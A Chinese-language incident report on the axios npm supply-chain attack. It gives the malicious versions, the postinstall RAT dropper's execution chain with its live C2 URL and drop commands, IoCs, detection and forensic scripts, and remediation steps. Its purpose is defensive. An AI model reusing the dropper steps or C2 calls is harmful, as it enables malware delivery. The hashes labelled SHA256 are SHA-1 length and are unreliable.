文章总结: 2026年3月31日axiosnpm包遭遇供应链投毒攻击,攻击者通过劫持核心维护者账号手动发布恶意版本1.14.1和0.30.4,植入幻影依赖[email protected]在postinstall阶段自动投放跨平台RAT木马。恶意版本存活2-4小时后被下架,CVSS评分9.8。建议立即检查并回退至安全版本1.14.0/0.30.3,审查CI/CD流水线。 综合评分: 85 文章分类: 供应链安全,漏洞预警,恶意软件,网络安全,威胁情报
axios npm供应链投毒攻击事件分析报告
星宇Sec
2026年4月9日 16:41 山东
Remote Access Trojan via Compromised Maintainer Account
| 字段 | 内容 |
| — | — |
| 报告编号 | 20260331-NPM-AXIOS-001 |
| 威胁级别 | CRITICAL(严重) |
| CVSS v3.1 | 9.8 / CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 事件状态 | 已处置 – 恶意版本已下架,调查仍在进行 |
| 发布日期 | 2026-03-31 (UTC) |
| 适用对象 | 所有使用 axios npm 包的组织与个人 |
| TLP 标记 | TLP:WHITE – 可公开分发 |
一、事件基础信息
1.1 事件概述
2026 年 3 月 31 日,全球最广泛使用的 JavaScript HTTP 客户端库 axios(周下载量逾 3 亿次)遭遇严重供应链投毒攻击。攻击者通过劫持核心维护者 npm 账号,绕过官方 GitHub Actions CI/CD 发布流程,手动发布了两个恶意版本([email protected] 与 [email protected]),同时覆盖 1.x 与 0.x 两大版本分支。恶意版本以幻影依赖(phantom dependency)[email protected] 为载体,在用户执行 npm install 时通过 postinstall 钩子自动投放跨平台远程访问木马(RAT),目标覆盖 Windows / macOS / Linux 三大平台,并具备自清除反取证机制。恶意版本存活约 2-4 小时后被 npm 官方下架。
1.2 攻击时间线(UTC,精确到分钟)
| UTC 时间 | 事件 |
| — | — |
| 2026-03-30 05:57 | [email protected] 发布(干净版本,用于预埋身份伪装) |
| 2026-03-30 23:59 | [email protected] 发布(恶意版本,含 postinstall dropper) |
| 2026-03-31 00:21 | [email protected] 通过被劫持账号 jasonsaayman 手动发布(恶意) |
| 2026-03-31 01:00 | [email protected] 发布(恶意,间隔 39 分钟,覆盖 0.x 分支) |
| 2026-03-31 ~03:00 | 社区用户发现异常,GitHub Issue #10604 创建并传播 |
| 2026-03-31 03:01:59 | 协作者 DigitalBrainJS 在 GitHub 置顶警告 Issue |
| 2026-03-31 03:15 | npm 官方下架 [email protected] 与 [email protected] |
| 2026-03-31 03:25 | npm 对 plain-crypto-js 启动安全封禁(security hold) |
| 2026-03-31 04:26 | npm 发布安全占位版本 [email protected] |
1.3 影响版本与受害范围
恶意版本(立即停止使用):
| 包名 | 恶意版本 | SHA256(npm tarball) |
| — | — | — |
| axios | 1.14.1 | 2553649f2322049666871cea80a5d0d6adc700ca |
| axios | 0.30.4 | d6f3f62fd3b9f5432f5782b62d8cfd5247d5ee71 |
| plain-crypto-js | 4.2.1 | 07d889e2dadce6f3910dcbc253317d28ca61c766 |
安全版本(立即回退):
[email protected]– 1.x 分支最后安全版本[email protected]– 0.x 分支最后安全版本
受害规模估算:
- axios 周下载量:> 3 亿次(npm 官方数据)
- 直接依赖 axios 的 npm 包:> 320 万个
- 恶意版本暴露窗口:约 2-4 小时(00:21 UTC – 03:15 UTC)
- 同时攻击 1.x 和 0.x,覆盖绝大多数使用中的版本线
- 受 CI/CD 自动拉取影响的流水线:无法精确估算,建议全面审查
1.4 信源交叉验证结论
| 级别 | 信源 | URL | 核心贡献 | | — | — | — | — | | 一级 | GitHub 官方 Issue #10604 | github.com/axios/axios/issues/10604 | 维护者声明、第一手时间戳 | | 二级 | StepSecurity 分析报告 | stepsecurity.io/blog/axios-compromised-… | 完整技术分析、IoC、平台行为 | | 二级 | Aikido Security | aikido.dev | 攻击手法独立确认 | | 二级 | Socket.dev | socket.dev | 依赖注入方式分析 | | 二级 | ITNews.com.au | itnews.com.au | 攻击范围与影响确认 |
验证结论:5 个独立信源对攻击时间、恶意版本号、C2 基础设施、三平台行为描述完全一致,信息可信度:高。
二、技术分析
2.1 CVE / GHSA 编号
截至报告发布时(2026-03-31),官方尚未分配独立 CVE 或 GHSA 编号。事件发生不足 24 小时,预计由 GitHub Security Advisory 或 MITRE 后续分配。
注:2026 年 2 月存在独立漏洞 CVE-2026-25639 / GHSA-43fc-jf86-j433(axios mergeConfig DoS,影响 <=1.13.4 / <=0.30.2,已在 1.13.5/0.30.3 修复),与本次供应链攻击事件无关,请勿混淆。
2.2 CVSS v3.1 评分
| 向量维度 | 取值 | 说明 |
| — | — | — |
| 攻击向量 (AV) | N – 网络 | 通过 npm install 远程触发,无需物理访问 |
| 攻击复杂度 (AC) | L – 低 | 常规安装行为即触发,无需特殊条件 |
| 权限要求 (PR) | N – 无 | 任何执行 npm install 的用户均受影响 |
| 用户交互 (UI) | N – 无 | postinstall 自动执行,无需用户确认 |
| 影响范围 (S) | U – 不变 | 影响限于安装该包的系统 |
| 机密性影响 (C) | H – 高 | RAT 可窃取系统所有凭据与文件 |
| 完整性影响 (I) | H – 高 | RAT 可完全控制受感染系统 |
| 可用性影响 (A) | H – 高 | RAT 可破坏系统可用性 |
综合评分:9.8 (Critical)向量:CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
2.3 官方维护者声明
来源:GitHub Issue #10604(2026-03-31 03:01:59 UTC),协作者 DigitalBrainJS:
“The compromised account (jasonsaayman) has higher git permissions than other team members. Whatever I fix, he will fix it after me. We need npm to revoke his tokens immediately.”
- 被劫持账号:
jasonsaayman(axios 核心维护者) - 劫持后账号关联邮箱被修改为:
[email protected] - 攻击者另创建账号:
nrwise([email protected])协助操作 - 协作者因权限不足无法独立修复,依赖 npm 官方撤销 token
2.4 npm 官方处置声明
- 2026-03-31 03:15 UTC:npm 下架
[email protected]与[email protected] - 2026-03-31 03:25 UTC:对
plain-crypto-js启动 security hold - 2026-03-31 04:26 UTC:发布占位版本
[email protected],阻止重新上传 - npm 已撤销被劫持账号的发布 token,GitHub 仓库访问权限修复中
2.5 归属 / Attribution 置信度
| 维度 | 观察 | 置信度 |
| — | — | — |
| 攻击者账号 | nrwise 账号使用 Proton Mail(匿名邮箱) | 高 |
| C2 基础设施 | sfrclak.com 域名无业务背景,HTTP 明文通信 | 高 |
| TTP 特征 | 与 2021 ua-parser-js 事件手法高度相似(账号劫持 + postinstall) | 中 |
| 动机 | 全平台 RAT 植入,以情报窃取/凭据盗取为主要目的 | 中 |
| 归属组织 | 暂无充分证据归属至特定 APT 组织 | 低 |
综合归属置信度:低-中。建议等待执法机构或专业威胁情报机构进一步溯源。
2.6 账号劫持机制分析
攻击者获取 npm 发布权限的完整链条:
- 步骤 1:获取
jasonsaayman的 npm 账号凭据(疑为钓鱼或凭据填充攻击) - 步骤 2:修改账号关联邮箱,阻断真实维护者的密码重置通道
- 步骤 3:通过 npm CLI 直接执行
npm publish,绕过 GitHub Actions CI/CD - 关键点:官方 CI/CD 流程要求对应 GitHub tag,手动
npm publish无此约束 - 时机选择:UTC 00:21,对应北美东部时间前一日 20:21,维护者下班时段,延迟响应
2.7 恶意依赖注入方式(Phantom Dependency Injection)
攻击手法核心:幻影依赖注入(Phantom Dependency Injection)。
[email protected]被添加至 axios 的package.json``dependencies字段- 该包在 axios 源代码的任何位置均无
import/require引用 - 其存在的唯一目的:触发 npm 的自动
postinstall执行机制 plain-crypto-js/package.json中声明:"scripts": {"postinstall": "node setup.js"}- 用户执行
npm install [email protected]-> npm 拉取[email protected]-> 自动执行setup.js
攻击者预先发布 [email protected](干净版本)以建立包的历史合法性,降低安全扫描器的告警概率。
2.8 Dropper 静态分析(plain-crypto-js/setup.js)
混淆技术:
- 字符串混淆:XOR 密钥加密 + Base64 双重编码,有效规避静态字符串检测
- 函数名混淆:使用随机无意义变量名,代码可读性极低
- 动态解码:关键字符串(C2 URL、文件路径)在运行时解码,不以明文出现
执行流程(还原后逻辑):
- 解码混淆字符串 -> XOR decode -> Base64 decode -> 获得 C2 URL 等参数
- 检测平台 ->
process.platform:darwin/win32/linux - 分支执行 -> 根据平台选择对应 payload 投放逻辑
- 请求 C2 -> HTTP POST
http://sfrclak.com:8000/6202033,body:{ platform: "product0/1/2" } - 下载二阶段 RAT -> 写入平台特定路径并赋权执行
- 自我清除 -> 替换
package.json为干净存根,删除setup.js
2.9 三平台 Payload 行为详析
| 维度 | macOS (product0) | Windows (product1) | Linux (product2) |
| — | — | — | — |
| RAT 落地路径 | /Library/Caches/com.apple.act.mond | %PROGRAMDATA%\wt.exe / %TEMP%\6202033.vbs / %TEMP%\6202033.ps1 | /tmp/ld.py |
| 执行方式 | AppleScript 调用 osascript 运行二进制 | VBScript dropper 启动伪装 PowerShell | nohup python3 /tmp/ld.py & (后台) |
| 伪装手法 | 仿 Apple 系统缓存命名规范 | wt.exe 仿 Windows Terminal 进程名 | ld.py 仿系统动态链接器名称 |
| 持久化 | 待确认(二阶段 RAT) | 待确认(二阶段 RAT) | 待确认(二阶段 RAT) |
2.10 自清除 / 反取证机制
- dropper(
setup.js)执行完毕后立即删除自身文件 - 将
plain-crypto-js/package.json替换为干净存根(移除postinstall字段) - 清除后
node_modules/plain-crypto-js目录外观与合法包无异 - 落地文件名均模仿系统原生进程或缓存目录,降低人工排查发现概率
- HTTP 明文通信(无 TLS)避免证书指纹关联,但增加网络检测可见性
2.11 运行时执行链(完整)
npm install [email protected]
└─ npm 解析依赖树,发现 [email protected]
└─ 下载并解压 [email protected]
└─ 执行 postinstall: node setup.js
├─ 解码混淆字符串(XOR+Base64)
├─ 检测 process.platform
├─ [macOS] 下载 RAT -> /Library/Caches/com.apple.act.mond
│ AppleScript 执行二进制
├─ [Windows] 复制 PowerShell -> %PROGRAMDATA%\wt.exe
│ 写入 %TEMP%\6202033.vbs -> 执行 wt.exe
├─ [Linux] 下载 /tmp/ld.py -> nohup python3 /tmp/ld.py &
└─ 自清除:删除 setup.js,替换 package.json 为干净存根
二阶段 RAT 连接 C2:
HTTP POST http://sfrclak.com:8000/6202033 -> 接收远控指令(键盘记录 / 文件外传 / shell 执行 / 截屏等)。
2.12 IoC 完整列表
网络 IoC:
| 类型 | 值 | 首次观测 | 备注 |
| — | — | — | — |
| C2 域名 | sfrclak.com | 2026-03-31 | 无业务背景,专用于此次攻击 |
| C2 IP | 142.11.206.73 | 2026-03-31 | ASN 待查,建议直接封锁 |
| C2 URL | http://sfrclak.com:8000/6202033 | 2026-03-31 | HTTP 明文,端口 8000 |
| C2 端口 | 8000/tcp | 2026-03-31 | 非标准端口 |
文件系统 IoC:
| 平台 | 路径 | 文件类型 | 处置建议 |
| — | — | — | — |
| macOS | /Library/Caches/com.apple.act.mond | RAT 二进制 | 立即删除并取证 |
| Windows | %PROGRAMDATA%\wt.exe | 伪装 PowerShell | 立即删除并取证 |
| Windows | %TEMP%\6202033.vbs | VBScript dropper | 立即删除并取证 |
| Windows | %TEMP%\6202033.ps1 | PS1 payload | 立即删除并取证 |
| Linux | /tmp/ld.py | Python RAT | 立即删除并取证 |
npm 包 IoC(SHA256):
| 包名 | 恶意版本 | SHA256 |
| — | — | — |
| axios | 1.14.1 | 2553649f2322049666871cea80a5d0d6adc700ca |
| axios | 0.30.4 | d6f3f62fd3b9f5432f5782b62d8cfd5247d5ee71 |
| plain-crypto-js | 4.2.1 | 07d889e2dadce6f3910dcbc253317d28ca61c766 |
账号 IoC:
| 账号 | 类型 | 关联邮箱 | 状态 |
| — | — | — | — |
| jasonsaayman | 被劫持维护者账号 | [email protected] (攻击者修改) | 已上报 npm,token 已撤销 |
| nrwise | 攻击者新建账号 | [email protected] | 已被 npm 封禁 |
2.13 二阶段 RAT 行为分析
注:二阶段 RAT 为从 C2 动态下载,当前公开信息中尚无完整二进制样本分析。以下基于行为观测推断。
| 功能模块 | 推断依据 | 置信度 |
| — | — | — |
| 远程 Shell 执行 | RAT 连接后接收 C2 指令,标准 RAT 功能 | 高 |
| 键盘记录 | 全平台 RAT 标准模块 | 中 |
| 凭据窃取 | 与 ua-parser-js 2021 事件 TTP 一致 | 中 |
| 文件外传 | C2 通信可承载二进制数据 | 中 |
| 截屏 | 全平台 RAT 标准模块 | 低 |
| 持久化(开机自启) | macOS/Windows 平台行为待确认 | 低 |
2.14 C2 基础设施溯源
- 域名
sfrclak.com:无 WHOIS 历史业务背景,注册时间与攻击时间临近(待核实) - IP
142.11.206.73:归属地待查,建议通过 Shodan/VirusTotal 进一步溯源 - 通信协议:HTTP 明文(非 HTTPS),便于在已有流量中被网络检测设备捕获
- 端口
8000:非标准端口,可能用于规避简单的 80/443 端口过滤策略 - 路径
/6202033:与 Windows 临时文件名6202033.vbs一致,疑为 campaign ID - C2 生命周期:截至报告发布时仍处于可访问状态,建议持续监控
三、响应处置
3.1 影响项目 / 爆炸半径评估
判断标准:系统是否在 2026-03-31 00:21–03:15 UTC 期间执行了 npm install 并拉取以下版本:
[email protected][email protected][email protected](作为间接依赖被拉取)
高风险场景:
- CI/CD 流水线未锁定版本(使用
^或~语义版本范围),自动拉取最新版本 - Docker 镜像构建在该时间窗口内执行
npm install - 开发者本地在该时间窗口内执行
npm install/npm update - serverless 函数、云函数在冷启动时动态安装依赖
3.2 感染检测脚本
Linux / macOS 通用检测脚本:
#!/bin/bash
# axios 供应链攻击感染检测脚本
# 检测恶意版本: [email protected], [email protected]
# 使用方法: bash detect_axios_compromise.sh
RED="\033[0;31m"; GREEN="\033[0;32m"; YELLOW="\033[1;33m"; NC="\033[0m"
FOUND=0
echo"========================================"
echo" axios 供应链攻击感染检测"
echo" $(date -u +%Y-%m-%dT%H:%M:%SZ)"
echo"========================================"
# 1. 检查已安装的 axios 版本
echo"[*] 检查 npm 包版本..."
for dir in $(find . /usr/local/lib/node_modules -name "package.json" -path "*/axios/package.json" 2>/dev/null); do
ver=$(node -e "console.log(require('$dir').version)" 2>/dev/null)
if [[ "$ver" == "1.14.1" || "$ver" == "0.30.4" ]]; then
echo"${RED}[!] 发现恶意 axios 版本: $ver (路径: $dir)${NC}"
FOUND=1
fi
done
# 2. 检查文件系统 IoC
echo"[*] 检查文件系统..."
IOC_FILES=("/Library/Caches/com.apple.act.mond""/tmp/ld.py")
for f in"${IOC_FILES[@]}"; do
if [ -f "$f" ]; then
echo"${RED}[!] 发现恶意文件: $f${NC}"
sha256sum "$f" 2>/dev/null || shasum -a 256 "$f"
FOUND=1
fi
done
# 3. 检查恶意进程
echo"[*] 检查进程..."
if pgrep -f "com.apple.act.mond" > /dev/null 2>&1; then
echo"${RED}[!] 发现可疑进程: com.apple.act.mond${NC}"
ps aux | grep "com.apple.act.mond"
FOUND=1
fi
if pgrep -f "ld.py" > /dev/null 2>&1; then
echo"${RED}[!] 发现可疑进程: ld.py${NC}"
ps aux | grep "ld.py"
FOUND=1
fi
# 4. 检查网络连接
echo"[*] 检查网络连接..."
if ss -tnp 2>/dev/null | grep -q "142.11.206.73" || netstat -an 2>/dev/null | grep -q "142.11.206.73"; then
echo"${RED}[!] 发现与 C2 (142.11.206.73) 的活跃连接!${NC}"
FOUND=1
fi
# 5. 检查 package-lock.json
echo"[*] 检查 package-lock.json..."
find . -name "package-lock.json" -not -path "*/node_modules/*" | whileread f; do
if grep -q "plain-crypto-js""$f" 2>/dev/null; then
echo"${YELLOW}[!] $f 中包含 plain-crypto-js 依赖,请核查${NC}"
FOUND=1
fi
done
echo"========================================"
if [ $FOUND -eq 1 ]; then
echo"${RED}[结论] 发现感染迹象!请立即按响应手册处置。${NC}"
else
echo"${GREEN}[结论] 未发现已知 IoC,但仍建议审查 CI/CD 日志。${NC}"
fi
Windows PowerShell 检测脚本:
# axios 供应链攻击感染检测脚本 (Windows)
# 检测恶意版本: [email protected], [email protected]
# 使用方法: powershell -ExecutionPolicy Bypass -File detect_axios.ps1
$found = $false
Write-Host "========================================" -ForegroundColor Cyan
Write-Host " axios 供应链攻击感染检测 (Windows)"
Write-Host " $(Get-Date -Format u)"
Write-Host "========================================" -ForegroundColor Cyan
# 1. 检查恶意 axios 版本
Write-Host "[*] 检查 npm 包版本..."
$pkgPaths = Get-ChildItem -Path . -Recurse -Filter "package.json" -ErrorAction SilentlyContinue |
Where-Object { $_.FullName -match "\\axios\\package\.json" }
foreach ($pkg in $pkgPaths) {
$json = Get-Content $pkg.FullName -Raw | ConvertFrom-Json -ErrorAction SilentlyContinue
if ($json.version -in @("1.14.1","0.30.4")) {
Write-Host "[!] 发现恶意 axios 版本: $($json.version) 路径: $($pkg.FullName)" -ForegroundColor Red
$found = $true
}
}
# 2. 检查文件系统 IoC
Write-Host "[*] 检查文件系统..."
$iocFiles = @(
"$env:PROGRAMDATA\wt.exe",
"$env:TEMP\6202033.vbs",
"$env:TEMP\6202033.ps1"
)
foreach ($f in $iocFiles) {
if (Test-Path $f) {
Write-Host "[!] 发现恶意文件: $f" -ForegroundColor Red
$hash = Get-FileHash $f -Algorithm SHA256
Write-Host " SHA256: $($hash.Hash)"
$found = $true
}
}
# 3. 检查恶意进程
Write-Host "[*] 检查进程..."
$suspProcs = Get-Process | Where-Object { $_.Name -eq "wt" -and $_.Path -like "*ProgramData*" }
if ($suspProcs) {
Write-Host "[!] 发现可疑进程 wt.exe 运行于 ProgramData!" -ForegroundColor Red
$suspProcs | Format-List Name,Id,Path
$found = $true
}
# 4. 检查 C2 网络连接
Write-Host "[*] 检查网络连接..."
$c2Conns = Get-NetTCPConnection -RemoteAddress "142.11.206.73" -ErrorAction SilentlyContinue
if ($c2Conns) {
Write-Host "[!] 发现与 C2 (142.11.206.73) 的活跃连接!" -ForegroundColor Red
$c2Conns | Format-Table -AutoSize
$found = $true
}
# 5. 检查 DNS 解析历史
Write-Host "[*] 检查 DNS 缓存..."
$dnsCache = Get-DnsClientCache | Where-Object { $_.Entry -like "*sfrclak*" }
if ($dnsCache) {
Write-Host "[!] 发现 C2 域名 DNS 解析记录!" -ForegroundColor Red
$dnsCache | Format-Table -AutoSize
$found = $true
}
Write-Host "========================================"
if ($found) {
Write-Host "[结论] 发现感染迹象!请立即按响应手册处置。" -ForegroundColor Red
} else {
Write-Host "[结论] 未发现已知 IoC,仍建议审查 CI/CD 流水线日志。" -ForegroundColor Green
}
3.3 版本降级 / 依赖修复步骤
立即修复:
# 回退到安全版本
npm install [email protected] # 1.x 用户
npm install [email protected] # 0.x 用户
# 删除恶意残留
rm -rf node_modules/plain-crypto-js
# 清理并重新安装(禁止执行 postinstall 脚本)
rm -rf node_modules package-lock.json
npm install --ignore-scripts
锁定版本(固定 package.json):
"axios": "1.14.0"
去掉 ^ 或 ~ 前缀。
CI/CD 流水线修复:
- 在所有 CI/CD 配置中将
npm install替换为npm ci --ignore-scripts - 检查并更新
package-lock.json/yarn.lock,确保无恶意版本记录 - 审查事件时间窗口(2026-03-31 00:21-03:15 UTC)内的所有构建日志
- 审查 Docker 镜像层,识别受污染的镜像层并重建
3.4 凭据轮换清单
在受感染系统上,以下凭据必须视为已泄露并立即轮换:
| 凭据类型 | 轮换方式 | 优先级 |
| — | — | — |
| npm 发布 token | npm token revoke <token> 后重新生成 | 紧急 |
| CI/CD 密钥(GitHub Actions/GitLab/Jenkins) | 在平台 Settings 中轮换 secrets | 紧急 |
| 云服务密钥(AWS/GCP/Azure) | 通过 IAM 控制台废止旧密钥,重新颁发 | 紧急 |
| SSH 私钥 | 重新生成密钥对,更新所有授权主机 | 紧急 |
| .env 文件中的所有变量 | 逐一更换,重新部署应用 | 高 |
| 数据库连接字符串 | 重置数据库密码,更新连接配置 | 高 |
| API 密钥(第三方服务) | 通过对应服务控制台轮换 | 高 |
| Git 提交签名密钥(GPG) | 吊销旧密钥,重新生成并上传公钥 | 中 |
3.5 感染系统取证步骤
取证原则:
- 保留原始证据优先:在清除恶意文件前,先完成内存与磁盘取证
- 隔离系统:断开网络连接,防止 C2 持续通信或横向移动
- 禁止直接删除:使用专业取证工具获取文件哈希与内存镜像
Linux / macOS 取证步骤:
# 步骤 1: 立即隔离网络
iptables -I OUTPUT -d 142.11.206.73 -j DROP # Linux
pfctl -e && echo"block out to 142.11.206.73" | pfctl -f - # macOS
# 步骤 2: 捕获当前网络连接
ss -tnp > /forensics/network_connections_$(date +%s).txt
netstat -an >> /forensics/network_connections_$(date +%s).txt
# 步骤 3: 捕获进程列表
ps auxf > /forensics/process_list_$(date +%s).txt
lsof -i > /forensics/open_files_$(date +%s).txt
# 步骤 4: 采集 IoC 文件哈希(macOS)
sha256sum /Library/Caches/com.apple.act.mond 2>/dev/null
# 步骤 5: 采集 IoC 文件哈希(Linux)
sha256sum /tmp/ld.py 2>/dev/null
# 步骤 6: 检查定时任务(持久化检测)
crontab -l > /forensics/crontab_$(date +%s).txt
ls -la /etc/cron* >> /forensics/crontab_$(date +%s).txt
# 步骤 7: 检查启动项(macOS)
ls -la ~/Library/LaunchAgents/ /Library/LaunchAgents/ /Library/LaunchDaemons/
Windows 取证步骤:
# 步骤 1: 隔离网络(阻断 C2)
New-NetFirewallRule -DisplayName "Block C2" -Direction Outbound -RemoteAddress "142.11.206.73" -Action Block
# 步骤 2: 捕获网络连接状态
Get-NetTCPConnection | Export-Csv C:\forensics\connections.csv
# 步骤 3: 捕获进程列表
Get-Process | Select Name,Id,Path,StartTime | Export-Csv C:\forensics\processes.csv
# 步骤 4: 采集 IoC 文件哈希
Get-FileHash "$env:PROGRAMDATA\wt.exe" -Algorithm SHA256 | Export-Csv C:\forensics\hashes.csv
Get-FileHash "$env:TEMP\6202033.*" -Algorithm SHA256 | Export-Csv -Append C:\forensics\hashes.csv
# 步骤 5: 检查注册表持久化项
Get-ItemProperty HKCU:\Software\Microsoft\Windows\CurrentVersion\Run |
Export-Csv C:\forensics\startup_registry.csv
# 步骤 6: 导出 DNS 缓存
Get-DnsClientCache | Export-Csv C:\forensics\dns_cache.csv
# 步骤 7: 导出事件日志
wevtutil epl System C:\forensics\system.evtx
wevtutil epl Security C:\forensics\security.evtx
3.6 历史类比与纵深防御
| 事件 | 年份 | 手法 | 影响规模 | 本次异同 | | — | — | — | — | — | | event-stream | 2018 | 社工接管维护权 -> 恶意依赖注入 | 约 200 万周下载 | 手法相似,但本次通过账号劫持而非社工 | | ua-parser-js | 2021 | npm 账号劫持 -> postinstall RAT | 约 800 万周下载 | 手法高度相似,TTP 匹配度最高 | | node-ipc | 2022 | 维护者主动投毒 -> 地理定向破坏 | 约百万周下载 | 动机不同,本次为情报窃取 | | XZ Utils | 2024 | 长期社工 -> SSH 后门 | 全球 Linux 发行版 | 本次更激进,无长期潜伏 | | axios(本次) | 2026 | 账号劫持 + CI/CD 绕过 -> 全平台 RAT | 3 亿+ 周下载 | 影响范围历史最大之一 |
纵深防御启示:
- 事件再次证明:高下载量 = 高价值攻击目标,热门包维护者账号是头号攻击面
ua-parser-js(2021)与本次事件 TTP 几乎完全一致,说明攻击者持续复用有效手法postinstall钩子是供应链攻击的核心载体,应纳入重点管控
3.7 供应链长效治理建议
开发团队层面:
npm install统一替换为npm ci --ignore-scripts,禁止 postinstall 自动执行- 使用精确版本锁定(去除
^和~),配合package-lock.json提交到版本控制 - 启用
npm audit与 Socket.dev / Snyk 等实时依赖扫描,监控新发布版本异常 - 对新发布依赖包设置“年龄检查”(发布不足 48 小时的新版本需人工审核)
组织/平台层面:
- 为所有 npm 发布账号强制启用硬件安全密钥(FIDO2/WebAuthn),抵御凭据填充
- CI/CD 流水线实施依赖签名验证(Sigstore / npm provenance)
- 建立私有 npm 镜像(Verdaccio / Nexus),对上游包进行安全审查后再同步
- 实施零信任依赖策略:每次
npm install前验证依赖树完整性 - 订阅 npm 安全公告、GitHub Advisory Database 自动推送
npm 生态层面建议:
- 强制要求高下载量包(>100 万周下载)开启发布 2FA 且不可降级
- 建立官方“发布审计日志”API,允许社区实时监控账号发布行为异常
- 对短时间内连续多版本发布行为触发自动延迟机制(如 1 小时发布冷却)
附录
附录 A:参考信源
- GitHub Issue #10604(一级信源) https://github.com/axios/axios/issues/10604
- StepSecurity 技术分析报告(二级信源) https://www.stepsecurity.io/blog/axios-compromised-on-npm-malicious-versions-drop-remote-access-trojan
- Aikido Security(二级信源) https://aikido.dev
- Socket.dev(二级信源) https://socket.dev
- ITNews.com.au(二级信源) https://itnews.com.au
附录 B:快速处置卡
| 步骤 | 操作 |
| — | — |
| 1. 检查版本 | cat node\_modules/axios/package.json |
| 2. 受影响? | 版本为 1.14.1 或 0.30.4 -> 立即执行步骤 3 |
| 3. 隔离系统 | 断网,阻断 142.11.206.73 出站流量 |
| 4. 修复版本 |npm install [email protected] –ignore-scripts|
| 5. 删残留 |rm -rf node_modules/plain-crypto-js /tmp/ld.py /Library/Caches/com.apple.act.mond` |
| 6. 轮换凭据 | 轮换 npm token、CI/CD secrets、云密钥、SSH 密钥 |
| 7. 取证 | 保留日志,联系安全团队,按 3.5 节执行取证步骤 |
| 8. 通报 | 按适用法规(GDPR/PIPL 等)在时限内完成通报 |
PDF版:
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:星宇Sec 《axios npm供应链投毒攻击事件分析报告》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论